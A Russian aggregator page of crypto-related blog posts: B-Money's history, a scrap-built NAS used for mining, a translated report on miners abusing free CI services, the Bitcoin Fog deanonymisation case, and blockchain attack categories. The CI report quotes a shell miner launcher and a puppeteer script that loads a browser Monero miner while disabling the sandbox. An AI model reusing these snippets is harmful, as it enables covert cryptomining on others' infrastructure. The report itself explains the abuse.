Русский
Русский
English
Статистика
Реклама

Криптовалюты

B-Money история первой в мире криптовалюты

21.05.2021 16:09:34 | Автор: admin


31 октября 2008 года произошло событие, которое кардинально изменило всю привычную нам картину мира и оказало значительное влияние на экономику, развитие технологий и культуру. Именно в этот день никому не известный человек (или группа людей), скрывающийся под псевдонимом Сатоси Накамото, опубликовал статью Bitcoin: A Peer-to-Peer Electronic Cash System, положив начало истории биткойна. Однако еще за десятилетие до этого, в 1998 году, выпускник Вашингтонского университета Вэй Дай (Wei Dai) создал проект децентрализованной платежной системы, которая должна была использовать в своей работе криптографические алгоритмы. Даже называлась она похоже: B-Money.

Как закалялась сталь


О самом Вэй Дае американце китайского происхождения известно несколько больше, чем о легендарном Сатоси, но тоже немного. Он окончил Вашингтонский университет, получив степень бакалавра по информатике и математике. В профиле Вэй Дая, некогда размещенном на сайте несуществующей ныне компании VoteHere, говорилось, что он работал в составе исследовательской группы на корпорацию Microsoft в Редмонде, Вашингтон, где занимался криптографией. А до того как присоединиться к Microsoft, Вэй Дай трудился программистом в компании TerraSciences в Эктоне, Массачусетс. Это отчасти подтверждается и тем, что человек по имени Вэй Дай заявлен в качестве автора связанных с криптографическими технологиями изобретений согласно американским патентам 5724279 и 6081598, права на которые принадлежат Microsoft.


Вэй Дай получил степень бакалавра в Вашингтонскиом университете это немногое, что о нем известно достоверно.

Именно Вэй Дай является создателем криптографической библиотеки с открытым исходным кодом Crypto ++ (также известной как CryptoPP, libcrypto ++ и libcryptopp). Кроме того, в 2007 году совместно с Тедом Кровецем Вэй Дай разработал алгоритм универсального хеширования, послуживший основой для механизма аутентификации сообщений VMAC. Еще Вэй Дай первым обнаружил критическую уязвимость в криптографическом протоколе TLS (если говорить точнее в используемой TLS реализации режима шифрования Cipher Block Chaining (CBC)). Благодаря именно этой уязвимости стало возможным создание нашумевшего эксплоита BEAST (Browser Exploit Against SSL/TLS).

Достоверных фотографий Вэй Дая в интернете нет: сам он утверждает, что все приписываемые ему портреты снимки совершенно других людей, многие из который являются его полными тёзками. Сейчас Вэй Дай ведет довольно скрытный образ жизни, отказывается от публичных выступлений и не дает интервью. Что, признаться, наводит на некоторые подозрения, о которых мы поговорим в самом конце этой статьи.

Однако вернемся к истории создания B-Money. Источником вдохновения для Вэй Дая по его собственным словам стала идеология криптоанархизма, которой он проникся благодаря текстам Тимоти Мэя. Криптоанархисты предрекали создание общества, свободного от какого-либо насилия прежде всего потому, что само по себе насилие невозможно, если членов социума нельзя идентифицировать благодаря повсеместному использованию криптографии.


Тимоти Мэй один из самых известных в мире шифропанков.

Однако любое общество нуждается во взаимных услугах, а следовательно, в инструментах для финансовых расчетов и заключения контрактов. Традиционные финансовые системы основаны на деньгах, эмитируемых либо самим государством, либо тесно связанными с ним банковскими структурами, и, следовательно, полностью контролируются правительством. Органы власти легко могут заблокировать любому неугодному человеку доступ к финансовым инструментам банковским счетам и картам, а также в состоянии заморозить или изъять его накопления, после чего гражданин фактически останется без средств к существованию. В противовес этому использующая криптографию анонимная и децентрализованная платежная система, независимая от каких-либо финансовых институтов, может гарантировать, что человек не потеряет возможность распоряжаться своими средствами по политическим, религиозным или каким-либо иным подобным мотивам.

Созданием такой платежной системы Вэй Дай и решил внести собственный вклад в строительство криптоанархического общества будущего. В 1998 году он опубликовал на собственном сайте документ, в котором описал два протокола для создания децентрализованной цифровой валюты. И хотя до бума крипты оставалось еще более десяти лет, он заложил в своей работе основные принципы, на которых базируются многие современные криптовалютные проекты.

Описная Вэй Даем идея в общих чертах сводится к следующему. Субъектами придуманной им платежной системы являются анонимные цифровые псевдонимы, которые никак не связаны с реальными личностями участников. Для поддержки работоспособности системы ее пользователи должны выполнять определенную вычислительную работу, за которую им выплачивается вознаграждение. Эта работа фиксируется в коллективном журнале с тем, чтобы ее могли проверить другие участники. В процессе аутентификации и подтверждения транзакций также применяется коллективный учет, при котором используется шифрование с открытыми ключами. Сам Вэй Дай писал: Протокол B-money был задуман таким образом, чтобы он мог сохранить конфиденциальность всех участников, оставаясь при этом средством обмена и предоставляя исполняемые контракты сообществу. Ничего не напоминает?

Фактически, Вэй Дай придумал архитектуру, очень похожую на современный блокчейн, хотя изначально им было предложено целых два протокола: один основывающийся на хранении базы транзакций локально у каждого пользователя платежной системы, в то время как второй гораздо больше напоминал блокчейн в том виде, в котором мы его знаем сейчас. Рассмотрим чуть подробнее оба проекта.

Концепция A-Money


Первый концепт, получивший условное обозначение A-Money, сам разработчик называл непрактичным, поскольку в этом случае каждый участник платежной системы должен вести собственную базу данных, в которой фиксируется количество принадлежащей ему и другим пользователям цифровой валюты. Процесс обновления информации в этих базах реализуется с использованием специального протокола, который и описал в своей статье Дай.

Каждый пользователь системы идентифицируется цифровым псевдонимом. Все сообщения в системе подписываются открытым ключом отправителя и передаются получателю в зашифрованном виде. Любой участник системы может зарабатывать деньги, транслируя решение ранее нерешенной вычислительной задачи, при этом основным критерием оценки работы является объем вычислительных ресурсов, потраченных на решение. Для этого Вэй Дай решил использовать принцип, напоминающий способ вычисления индекса товарных цен (commodity price index). К примеру, если задача может быть решена на компьютере, который тратит на это минимум ресурсов, за 100 часов, а для покупки такого же вычислительного ресурса на открытом рынке потребуется 3 условных индексных единицы, то именно такая сумма в денежном эквиваленте и будет зачислена на счет решившего задачу участника системы, а информация об этом зафиксируется в локальных базах данных всех остальных пользователей.

Транзакции в предложенной Даем системе выполняются следующим образом. Например, Алиса (цифровой псевдоним А) решила передать Бобу (цифровой псевдоним Б) виртуальную валюту на сумму Х единиц. В этом случае она отправляет широковещательное сообщение вида я отправляю Х денежных единиц цифровому псевдониму Б, и подписывает его своим ключом А. После трансляции этого сообщения все участники системы вносят в свою локальную базу соответствующее изменение, а именно, списывают со счета псевдонима А сумму в Х монет и добавляют ее на счет псевдонима Б. Транзакция считается успешной, если эта операция не приводит к возникновению отрицательного баланса на счете А в этом случае сообщение игнорируется.


При выполнении транзакций в системе A-Money участники сделки отправляют всем остальным пользователем широковещательное сообщение, зашифрованное открытым ключом

Платежная система Дая предусматривала также возможность заключения участниками цифровых контрактов, правда, в отличие от современных автоматизированных смарт-контрактов здесь предлагалось использовать арбитраж. При подписании такого договора каждая его сторона, включая независимого арбитра, отправляет широковещательное сообщение, заверенное своим ключом. В сообщении указывается не только дата выполнения работы по контракту и ее стоимость, но также максимальные суммы возмещения для каждой из сторон в случае неисполнения другой стороной своих обязательств. Затем со счетов участников сделки списывается сумма, соответствующая размеру максимального возмещения, и депонируется на временном контрактном счете. Если указанная операция приводит к возникновению отрицательного баланса на одном из счетов, контракт считается недействительным и все выполненные ранее транзакции откатываются. Данные обо всех этих событиях записываются в базах данных участников системы.

Если контракт был исполнен полностью и претензии у сторон отсутствуют, в момент наступления указанного в контракте часа Х с временного контрактного счета списывается и перечисляется соответствующая сумма вознаграждения, арбитру переводится комиссия, а предназначенные для возмещения ущерба суммы возвращаются своим законным владельцам. После чего временный контрактный счет автоматически закрывается. Если же что-то пошло не так, открывается диспут, и к решению спора привлекается арбитр. Он изучает все сопутствующие обстоятельства и принимает решение в пользу одной из сторон конфликта. Подобная схема успешно применяется сегодня при решении споров на популярной торговой площадке AliExpress, а также на различных подпольных форумах, где продаются и покупаются всевозможные незаконные и сомнительные услуги.


Схема исполнения контракта в системе A-Money.

Исходя из описанной выше логики работы системы становится очевидно, что с ростом числа участников будет расти и объем базы, в которую записывается информация обо всех транзакциях. Поскольку точная копия такой базы хранится у каждого участника локально, скорость ее обновления будет крайне невысокой и со временем станет снижаться. Участникам системы необходимо также постоянное подключение к сети для своевременной загрузки непрерывно обновляющихся данных, которые гарантированно создадут значительный трафик. Кроме того, использование такой платежной системы потребует значительных аппаратных ресурсов как минимум, достаточного объема дискового пространства, которое в 1998 году было весьма дефицитным. Нужна была альтернатива.

Концепция B-Money


Именно поэтому Вэй Дай предложил альтернативный протокол для своей платежной системы, который и получил название B-Money. Общий принцип остался тем же самым, только для хранения базы данных о транзакциях в B-Money использовались компьютеры не всех участников сети, а лишь некоторых. Машины таких хранителей Дай условно назвал серверами. В качестве образца для структуры этой сети Вэй Дай взял Usenet самую популярную на тот момент сеть для общения и обмена файлами. Формат широковещательных сообщений о любых операциях в системе B-Money был идентичен описанному выше, но с одним отличием: участники каждой транзакции должны в обязательном порядке убедиться, что сообщение было получено и успешно обработано случайно выбранным подмножеством серверов. Актуальность баз транзакций по задумке Дая должна поддерживаться их постоянной синхронизацией.

Однако в этом случае возникает проблема доверия серверам со стороны других участников системы. Вэй Дай решил ее следующим образом: каждый сервер должен депонировать определенную сумму цифровых денег на специальном счете. Если какой-либо из серверов оказывался замеченным в тех или иных мошеннических действиях, на него налагается штраф, который списывается с этого депозита. А участнику, заметившему мошенничество, с того же счета начисляется вознаграждение. Кроме того, хранящаяся на каждом из серверов база данных транзакций должна быть публичной, чтобы любой участник системы в любой момент времени мог проверить, совпадает ли локальная информация о состоянии его счета с записью в этой базе. Также любой участник по желанию должен иметь возможность убедиться, что общая сумма денег на всех счетах пользователей не превышает общую сумму цифровой валюты, которой оперирует платежная система. Это исключает возможность бесконтрольного наращивания денежной массы даже в случае сговора владельцев всех серверов в сети.


Общая структура B-Money.

Другая серьезная проблема B-Money, на которую обратил внимание Вэй Дай, это процесс эмиссии цифровых денег. В предложенном для A-Money алгоритме подразумевалось, что решение о стоимости конкретных вычислений согласованно принимается всеми держателями учетных записей. В случае архитектуры с серверами сеть имеет меньшую связанность, и это может стать серьезной проблемой. Поэтому для B-Money Дай предложил иной механизм: все серверы в сети B-Money принимают консолидированное решение о том, какой объем цифровой валюты должен быть выпущен в каждый конкретный период времени, а стоимость создания этих денег определяется аукционом. При этом сам процесс он разделил на четыре этапа:

1. Все держатели аккаунтов B-Money определяют по заданным алгоритмам оптимальный объем денежной массы, которую следует выпустить в следующем периоде. Неважно, придут ли участники системы к судьбоносному консенсусу, но каждый из них транслирует в сеть вычисленную им квоту. На основе полученных данных вырабатывается консолидированное решение об объеме цифровой валюты, выпускаемой в следующем периоде.
2. Каждый участник системы, желающий принять участие в эмиссии цифровой валюты, транслирует в сеть ставку в формате <X, Y>, где X сумма в B-Money, которую заявитель рассчитывает получить за решение задачи, а Y сама математическая задача, выбранная из пула ранее нерешенных задач. При этом каждая задача имеет публично согласованную номинальную стоимость в MIPS-годах.
3. Все участники системы выполняют работу согласно своим заявкам и транслируют в сеть полученные решения.
4. Из транслируемых решений принимаются и оплачиваются только имеющие самые выгодные ставки с точки зрения номинальной стоимости решенной задачи за единицу B-Money.

Можно сказать, что в 1998 году Вэй Дай придумал платежную систему, очень напоминающую хорошо знакомые нам современные криптовалюты. По крайней мере, она отвечает сразу нескольким критериям, по которым ее можно отнести к этой категории:
для ее добычи (майнинга) требуется выполнить определенный объем вычислительной работы;
проделанная работа проверяется другими участниками системы, а успешно выполнивший ее участник получает вознаграждение;
ведется коллективный учет транзакций, которые аутентифицируются с использованием криптографии;
контракты исполняются путем отправки широковещательных сообщений и подписания транзакций цифровыми подписями (криптография с открытым ключом).

Правда, дальше публикации идеи дело не пошло энтузиастов, которые решились бы взяться за практическую реализацию столь масштабного проекта, в те времена не нашлось. Кто знает: если бы разработки Дая вызвали общественный резонанс, возможно, бум блокчейна и крипты случился бы на десять лет раньше, а на Земле появился бы еще десяток-другой долларовых миллионеров. Однако публикация Вэй Дая все-таки оказала определенное влияние на современный рынок криптовалют.



Вместо эпилога


В своей основополагающей публикации Bitcoin: A Peer-to-Peer Electronic Cash System Сатоси Накамото все-таки сослался на проект B-Money это краткое упоминание на второй странице документа удостоилось единственной лаконичной сноски в разделе References. Однако в заметке Decoding the Enigma of Satoshi Nakamoto and the Birth of Bitcoin, опубликованной газетой New York Times 15 мая 2015 года, утверждалось, что Вэй Дай, а также известный британский криптографист и шифропанк Адам Бэк (Adam Back) были первыми людьми, с которыми связался Накомото в ходе работы над биткойном. Правда, сам Вэй Дай прокомментировал этот момент весьма скептически:

я так понимаю, что создатель биткойна [...] даже не прочитал мою статью, прежде чем сам заново изобрел эту идею. Он узнал об этом позже и упомянул меня в своей работе. Так что моя связь с проектом довольно ограничена.

Несмотря на то, что платформа B-Money так навсегда и осталась в истории лишь в виде концепта, создатели других успешных криптовалют не забывают о ней. Например, самая маленькая дробная единица эфира криптовалюты, работающей на платформе Ethereum, названа wei. И теперь вы знаете, в чью именно честь.

Некоторые любители конспирологии всерьез считают, что однажды, когда тайна виртуальной личности Сатоси Накамото будет наконец раскрыта, среди создателей биткойна мы обнаружим немало известных личностей: и уже упомянутого Адама Бэка, и ученого-криптографиста Ника Сабо (Nick Szabo), но в первую очередь Вэй Дая собственной персоной. Кто знает, может, они окажутся правы?


Подробнее..

Из хлама в NAS и немного темы майнинга

18.06.2021 12:04:53 | Автор: admin

Начну с того, что очень часто, рядом со мной аккумулируется разного рода железо (в простонародье хлам), а так как я по своей природе Плюшкин, в том плане, что я очень редко выкидываю технику, а если и случается предварительно вытаскиваю оттуда всё, что может хоть как-то пригодиться. И что бы ничего не выкидывать, периодически приходится находить применение всему этому железу, об этом сегодня и будет идти речь.

Итак мы имеем: ПК 11 летней давности в состоянии трэш.
Если подробнее: у блока питания вздуты все конденсаторы на выходе, у жёсткого диска взорванный полимерный конденсатор на входе питания, видеокарта тоже не стартует. По моим догадкам, по 12в линии явно пошло сильно больше 12в. При этом материнка с процессором остались живы. Чудо!

Порывшись в закоулках нахожу 4 плашки ddr2 пару на 1гб и пару на 2гб.

По характеристикам


Процессор: Celeron E3400
Материнская плата: P5K PRO
Оперативная память: 6 Gb ddr2
Жёсткий диск: 400 Gb IDE
Видеокарта: GeForce 8400 GS
Блок питания: FSP 350W



Ну вот всё что нужно есть, приступаем к оживлению трупа!


Начал с БП. Конденсаторов на большую ёмкость у меня нет (2000-3000мкФ) и пришлось городить этажами, получился вот такой лес:

image

На плате жёсткого диска, припаял конденсатор (старый просто испарился, одни следы только были), так же заодно покрыл припоем контактные площадки, чтобы не коррозировали, и даже не надеялся что он заработает, однако ожил:

image

С видеокартой немного сложнее, питание gpu звонится с малым сопротивлением в обе стороны, явно что то не то. При прозвоне нашёл два подозрительных силовых транзистора, перепаял на те, что были в закромах, заработало это только с помощью черной магии, других объяснений нет!Хотя сильно в нагрузке не тестировал:

image

Обновляю bios, накатываю win 10 и подключаю подготовленные под это дело диски (восстановленные). Я осознал насколько он тормоз в плане быстродействия, так что все планы по установке чего либо в него, я убрал (по крайне мере до того момента как найду, хотя бы четырёхъядерный процессор).

image

Тут больше ничего не оставалась как сделать из него NAS (сетевое хранилище) с возможностью подключения по RDP, к тому же в материнке была рабочая родная гигабитная сетевая карта (кто много возился со старым железом, знает что рабочая сетевуха в материнке это джекпот).
Далее я в прямую сделал доступ к локальным дискам по SMB включая C и разрешил подключение по RDP:

image

Майнинг


Сразу понятно что речь идёт о новой одноимённой монете.
Так как я не дата центр, будем экспериментировать с пулом.
Еще к этому NAS я подключил заплоченные диски, по-другому никак, характеристики вы сами видели.

На главном компьютере запускаю программу добычи, и тут столкнулся с тем, что сетевые диски она не видит, пришлось прописать полный путь до каждого диска:

image

После 24ч теста всё хорошо, ничего не взорвалось. Синхронизация кошелька ест 90% процессора и идёт со скоростью ленивца, который должен преодолеть 50 км ХД.

По итогу, у нас 6 портовый NAS, ещё и с 400Гб памяти на борту. Ради интереса глянул сколько стоит подобные готовые решения и удивился 700$ и это минимум.

Что можно сделать дальше?


Можно отрыть 4 ядерный процессор, подоткнуть usb 3.0 контроллер, настроить мультимедийный DLNA сервер и это только то, что мне пришло на ум.

На момент написания текста статьи, 1Тб приносит 10 рупий рублей в день.

Ни одна деталь не была куплена, всё собиралось из того, что есть.

Финал


Мне нравится спасать компьютерное железо, это экологично и экономично, к тому же, никогда не знаешь, когда может пригодиться тот или иной компьютер. И вышел реально неплохой NAS, если отойдёт в мир иной напишу в комментариях.


Подробнее..

Перевод Как криптомайнеры убивают бесплатные CI

28.04.2021 20:06:12 | Автор: admin

СI-платформы, такие как LayerCI, GitLab, TravisCI, и Shippable ухудшают, а то и вовсе закрывают свои бесплатные сервера из-за атак с целью скрытого майнинга.

1 сентября 2020 года GitLab объявил что ограничивает бесплатное использование CI в ответ на эксплуатацию. Два месяца спустя TravisCI анонсировал схожие ограничения из-за серьезных злоупотреблений. В это же время возросла рыночная капитализация добываемых криптовалют.

Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.Рыночная капитализация криптовалюты подскочила со 190 млрд до 2 трлн за один год.

Эти события связаны между собой: поскольку рыночная капитализация криптовалюты выросла с 190 млн. долларов в январе 2020 до 2 триллионов в апреле 2021, злоумышленникам стало выгодно атаковать бесплатные сервера PaaS провайдеров.

Контекст

В LayerCI мы помогаем разработчикам создавать полнофункциональные веб-сайты, создавая среды предварительного просмотра и автоматически запуская для них E2E тесты. Это называется CI (Непрерывная интеграция).

Поскольку разработчики могут запускать на наших серверах произвольный код, они часто нарушают условия обслуживания для того, чтобы запускать майнеры криптовалюты в качестве этапа сборки для своих веб-сайтов. Подробнее можно прочитать тут.

717 GitHub коммитов за один месяц

testronan заядлый пользователь Flask. Каждый час он делает коммит в своем единственном GitHub репозитории: testronan/MyFirstRepository-Flask.

Продуктивный программист, безусловно, должен убедиться в том, что внесенные им изменения хорошо протестируются. Поэтому его репозиторий содержит конфигурации аж для пяти разных CI-платформ: TravisCI, CircleCI, GitHub Actions, Wercker, и LayerCI.

Похоже он довольно опытен в написании скриптов. Его СI таски запускают listhen.sh: shell скрипт, который объединяет сложный NodeJS скрипт с, на первый взгляд, случайными числами:

(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands  

MyFirstRepository-Flask не имеет ничего общего с Flask или веб-серверами. В нем размещены скрипты для майнинга криптовалюты, которые отправляют WebDollars (прим. криптовалюта) на анонимный адрес. Числа соответствуют настройкам реализации WebDollar на NodeJS.

Репозиторий не атакует GitHub напрямую, вместо этого он злоупотребляет функцией cron для создания нового коммита каждый час и майнинга WebDollar на четырех оставшихся платформах.

При пиковой апрельской цене WebDollar в 0.0005 долларов репозиторий зарабатывал 77 долларов в месяц значительная для многих стран сумма, особенно учитывая, что для заработка необходим лишь ноутбук и интернет-соединение.

Два кошелька, на который приходит добытая криптовалюта:

Майнинг криптовалюты в браузере

Пользователь vippro99 описывает свои намерения менее изящно. Из десятков репозиториев большинство связано либо с криптовалютой либо с автоматизацией браузера.

Репозиторий nodejs-monney содержит различные скрипты для запуска экземпляров Chrome c популярным гугловским puppeteer project.

Идея проста: майнинг криптовалюты непосредственно в CI довольно легко обнаружить (например, с помощью анализа исполняемого содержимого), но автоматизация браузера это обычная рабочая нагрузка в CI.

puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {  console.log('-- Running chrome!!'); const page = await browser.newPage(); await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');  page.on('console', (msg) => console.log(msg.text())); await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000); await browser.close(); })

Данный GitHub Pages веб-сайт содержит простой браузерный майнер криптовалюты Monero, напоминающий Coinhive.

На момент написания аккаунт атаковал JFrog's Shippable CI, которая (возможно, в связи с этим) анонсировала об окончании поддержки бесплатных серверов в начале этого года.

Судя по комментариям vippro99, он проживает во Вьетнаме. При текущей цене Monero, каждый экземпляр майнера на Shippable приносит 2.5 доллара в месяц, поэтому поддержание 60 экземпляров равносильно полному рабочему дню в этой стране.

Решение проблемы

Ethereum, вторая по популярности криптовалюта, недавно объявила о планах прекращения поддержки майнинга на основе вычислений, полностью переключившись на модель Proof-of-Stake (PoS).

Помимо негативного воздействия традиционного proof-of-work майнинга на окружающую среду, существуют и другие неприятные аспекты: мировая нехватка графических процессоров и атаки на CI-платформы.

Провайдеры будут делать все возможное, чтобы обеспечить соблюдение условий обслуживания, но пока атаки выгодны и трудноотслеживаемы, они будут приобретать все более изощренный характер. Единственный долгосрочный способ и дальше пользоваться бесплатными серверами в Heroku, Netlify и GitHub это отказ от proof-of-work.


Дата-центр ITSOFT размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов.

Правильно и недорого майнить криптовалюту можно в майнинг-отелеhttps://itsoft.ru/data-center/mining/

Подробнее..

Владельца Bitcoin Fog выдал анализ блокчейна от 2011 года

10.05.2021 18:20:09 | Автор: admin


Как известно, Bitcoin не совсем анонимная система. Здесь все транзакции сохраняются и отслеживаются от начала и до конца. Поэтому для реального скрытия денег используются специальные анонимайзеры или миксеры. Они смешивают входящие транзакции на одном адресе, так что на выходе не видно, откуда пришли конкретные монеты.

Bitcoin Fog один из ведущих миксеров. Он работал десять лет. И всё-таки в конце концов предположительного админа сервиса идентифицировали и задержали.

Это история показывает, насколько сложно сохранить анонимность в онлайне. И способ деанонимизации в данном случае особенно показателен.

Предположительным админом оказался 32-летний Роман Стерлингов, гражданин России и Швеции. Что его выдало? След собственных цифровых транзакций десятилетней давности.

Романа задержали 27 апреля 2021 года в Лос-Анджелесе. Согласно судебным документам, его обвиняют его в отмывании более 1,2 миллиона биткоинов на сумму 336 миллионов долларов на момент платежей за десять лет, которые он предположительно управлял Bitcoin Fog.

Комиссия сервиса составляла 22,5%. Исходя из этой цифры и будет определяться выгода, которую якобы извлёк Стерлингов от того, что власти называют отмыванием денег. Примерно 78 миллионов транзакций сервиса исходила из сервисов даркнета по продаже запрещённых наркотиков, оружия и т. д.

Чтобы доказать злые намерения Романа, агенты Налоговой службы США в 2019 году отправили биткоины в сервис, предварительно уведомив админа, что это доходы от продажи экстази. Но транзакция в Bitcoin Fog всё равно успешно прошла. Вот такое доказательство.

В общей сложности, по подсчётам IRS, Стерлингов якобы заработал около 8 миллионов долларов. Это ещё по старому курсу биткоина.

Вычислить админа помогли криптотранзакции 2011 года, которые Стерлингов использовал для регистрации хостинга Bitcoin Fog: Это ещё один пример того, как следователи с правильными инструментами могут использовать прозрачность криптовалюты для отслеживания потока незаконных средств, говорит Джонатан Левин, соучредитель компании по анализу блокчейна Chainalysis.

В материалах уголовного дела рассказывается история, как его деанонимизировали. Началось с того, что он запустил сайт в конце 2011 года, продвигая его под псевдонимом Akemashite Omedetou (с японского С Новым годом) на биткоин-форуме BitcoinTalk.



Стерлингова выследили через тот же анализ блокчейна, от которого он защищал своих пользователей. В 2011 году он заплатил за хостинг сервера Bitcoin Fog, используя ныне несуществующую цифровую валюту Liberty Reserve. В блокчейне Bitcoin сохранилась эти транзакции по покупке Liberty Reserve: сначала он обменял евро на биткоины на известной ранее криптобирже Mt. Gox, затем перевёл эти биткоины через несколько адресов и, наконец, обменял их на другой валютной бирже на монеты Liberty Reserve, которые использовал для создания домена Bitcoin Fog.

Исходя из всей этой цепочки транзакций Налоговое управление идентифицировало аккаунт Mt. Gox, где указан домашний адрес и номер телефона Стерлингова, и даже аккаунт Google, включая русскоязычный документ на Google Диске с инструкциями, как скрывать биткоин-транзакции. В этом документе точно описывались шаги, которые Стерлингов предпринял, чтобы купить монеты Liberty Reserve.

Вот такая история деанонимизации. Bitcoin когда-то считался анонимной криптовалютой, но теперь именно блокчейн Bitcoin со всеми историческими транзакциями с момента создания системы является главным инструментом следователей. Все ваши действия десятилетней давности и сейчас как на ладони.

Интересно, что Bitcoin Fog продолжил работу по адресу http://foggedd3mc4dr2o2.onion и после задержания предположительного админа.




Подробнее..

Безопасность блокчейн операций новые возможности новые риски

18.05.2021 12:12:57 | Автор: admin

source


Анализ уязвимостей, зафиксированных NIST (National Institute of Standards and Technology) в 2020 г., показывает устойчивый тренд роста в сравнении с предыдущими годами. В среднем, в прошлом году каждый день фиксировалось 50 новых уязвимостей, 57% которых относились к критическому либо к высокому уровню серьезности последствий. Развитие технологии блокчейн, речь о безопасности которой пойдет в данной статье, не является исключением с точки зрения подверженности киберугрозам. Подход, который изначально создавался, как альтернатива недостаткам существующей банковской системы и должен быть открыть новые возможности для бизнеса, не избежал рисков, присущих финансовым онлайн операциям. С 2012 по 2020 гг. блокчейн-индустрия лишилась более $13,6 млрд в результате 330 хакерских атак. В статье мы рассмотрим, в чем заключаются причины уязвимости решений на базе блокчейн.


По мере развития финансовых инструментов и сервисов, основанных на технологии блокчейн, растет количество атак, направленных на несанкционированное внесение данных в реестр, блокировку работы систем или на получение злоумышленниками контроля над ресурсами. В качестве объектов атак могут быть рассмотрены:


  • криптографические алгоритмы;
  • ключи (кошельки);
  • алгоритмы консенсуса;
  • смарт-контракты;
  • ноды (узлы) сети;
  • компоненты пользовательского интерфейса и приложений.

Подробный анализ уязвимостей технологии блокчейн представлен в таблице ниже, где каждому из компонентов сопоставлены возможные уязвимости и приведены примеры осуществленных атак.


Уязвимые компоненты Возможные уязвимости Примеры атак
Криптографические алгоритмы Bitcoin и Etherium используют криптографический алгоритм Elliptic Curve Digital Signature Algorithm (ECDSA). В случае некорректной реализации генератора случайных чисел, используемого для подписи, при наблюдении за публично доступными транзакциями может быть восстановлен закрытый ключ, используемый для подписания транзакции. Некорректной реализацией может быть, например, использование константы в качестве случайного числа или повторное использование одного и того же случайного числа В 2018 г. злоумышленники похитили более $4 млн с кошельков пользователей IOTA. Все пострадавшие пользовались услугами вредоносного сайта для генерации секретных фраз
Ключи (кошельки) В случае потери ключа пользователю невозможно предоставить доступ к своему аккаунту. При компрометации ключа невозможно перезаписать цепочку блоков. Возможна атака по словарю на закрытый ключ (полный перебор паролей) Распространена практика генерации закрытого ключа из какого-либо текста путем получения значения хэш-функции от данного текста. В этом случае, атака может быть совершена путем анализа цепочки транзакции блокчейна и поиска таких адресов, закрытые ключи которых совпадает с полученными по заранее подготовленному списку фраз
Алгоритмы консенсуса Proof of work (PoW) подвержен атаке 51%. Если в руках злоумышленника находится больше половины всех вычислительных мощностей в сети, то он получает контроль над ее ресурсами, включая переписывание истории, проведение транзакций с двойным расходованием, блокировку чужих транзакций, подтверждение своих блоков и т.п. Консенсус Proof of Stake (PoS) подвержен атаке Long Range, в ходе которой злоумышленник с незначительным минорным количеством средств может создать большое альтернативное количество блоков, которые по длине превзойдут основной блокчейн. Основной блокчейн может быть после этого подменен. В случае использования алгоритма консенсуса Byzantine Fault Tolerance (BFT) атака возможна, если скомпрометирована одна треть вычислительных ресурсов сети Реорганизация блокчейна и двойное расходование токенов Ethereum Classic на сумму $460 тыс. (2019 г.)
Смарт-контракты Смарт-контракт по сути является компьютерной программой, которая может содержать ошибки и уязвимости. Особенностью является сложность внесения исправлений после распространения смарт-контракта в сети. Источниками уязвимостей являются: несоответствие стандарту ERC20 (токен Ethereum), некорректная генерация случайных чисел, неверное определение области видимости, некорректная верификация отправителя транзакции, целочисленное переполнение (integer overflow), ошибки в бизнес-логике, использования уязвимых внешних библиотек Инцидент с проектом DAO в 2016 г., в результате которого была похищена криптовалюта на сумму $50 млн
Ноды (узлы) сети Ошибки, допущенные при настройке инфраструктуры, развертывании блокчейн платформы, удаленном вызове процедур, настройке политики безопасности могут привести к эксплуатации известных злоумышленнику уязвимостей с последующим несанкционированным добавлением транзакций в блокчейн Возможность проведения атаки DNS rebinding
Компоненты пользовательского интерфейса и приложений Блокчейн реализуется в веб среде и подвержен всем уязвимостям, присущим десктопным, мобильным и веб приложениям. При проведении Initial Coin Offering (ICO) возможны дополнительные уязвимости, позволяющие провести атаку на организаторов ICO и уязвимости, позволяющие провести атаку на инвесторов Злоумышленниками практикуется выполнение действий от имени пользователя, кража учетных данных, подмена информации о ценах, подбор PIN-кода приложения, проведение фишинговых атак. При выполнении операций на трейдинговых платформах возможно выполнение операций от имени пользователя, кража учетных данных для авторизации в приложении, ввод пользователя в заблуждение путем подмены отображаемых цен

Блокчейн, как и любая веб технология подвержен влиянию человеческого фактора, а также уязвимостям, присущим мобильным и веб приложениям. Проблемой является и нехватка опытных разработчиков, имеющих опыт запуска проектов блокчейн. С одной стороны, блокчейн совершенствуется, и новые проекты, подобные FreeTON или Ethereum 2.0, заявляют о новых качествах, таких как снижение энергопотребления, повышение скорости обработки транзакций, повышение эффективности протоколов консенсуса и т.д.


Решит ли это все вопросы с безопасностью? Полностью точно нет. Но от части может. Во-первых, на сегодняшний день популярны методы формального анализа и аудита безопасности смарт-контрактов, которые дают очень высокий уровень защиты от проблем, подобных взлому Ethereum DAO в 2016 году. Во-вторых, для более сложных случаев, где тяжело формализовать все цепочки взаимодействий смарт-контрактов, часто применяются баг баунти программы с приличными призами до сотен тысяч долларов для тех, кто сможет найти уязвимость в коде или алгоритмах работы смарт-контрактов на определенном блокчейне. Безусловно, блокчейны нового поколения, такие как FreeTON благодаря невысокой стоимости и высокой скорости работы дают бОльшие возможности для тестирования на стрессоустойчивость смарт-контрактов, нод и консенсуса в целом, чем пользуются в настоящий момент разработчики смарт-контрактов и валидаторы нод.


Что касается уязвимостей в компонентах пользовательских интерфейсов, увы, это проблема остается за пределами возможностей современных блокчейнов. Однако, со временем, по мере роста количества и качества средств разработки ПО (SDK) и best practices, а также, с ростом возможностей современных UI/UX библиотек взаимодействовать напрямую с блокчейном (без серверной части приложения, см. рисунок), количество атак на внешние системы будет снижаться. И конечно, стоит помнить о таких базовых организационных приемах обеспечения безопасности, как обучение персонала, аудит и анализ приложений, пентестинг, мониторинг и анализ защищенности инфраструктуры, применение SIEM-систем для обнаружения и предотвращения атак.

Подробнее..

Практическое руководство по анонимности в онлайне

18.05.2021 12:12:57 | Автор: admin

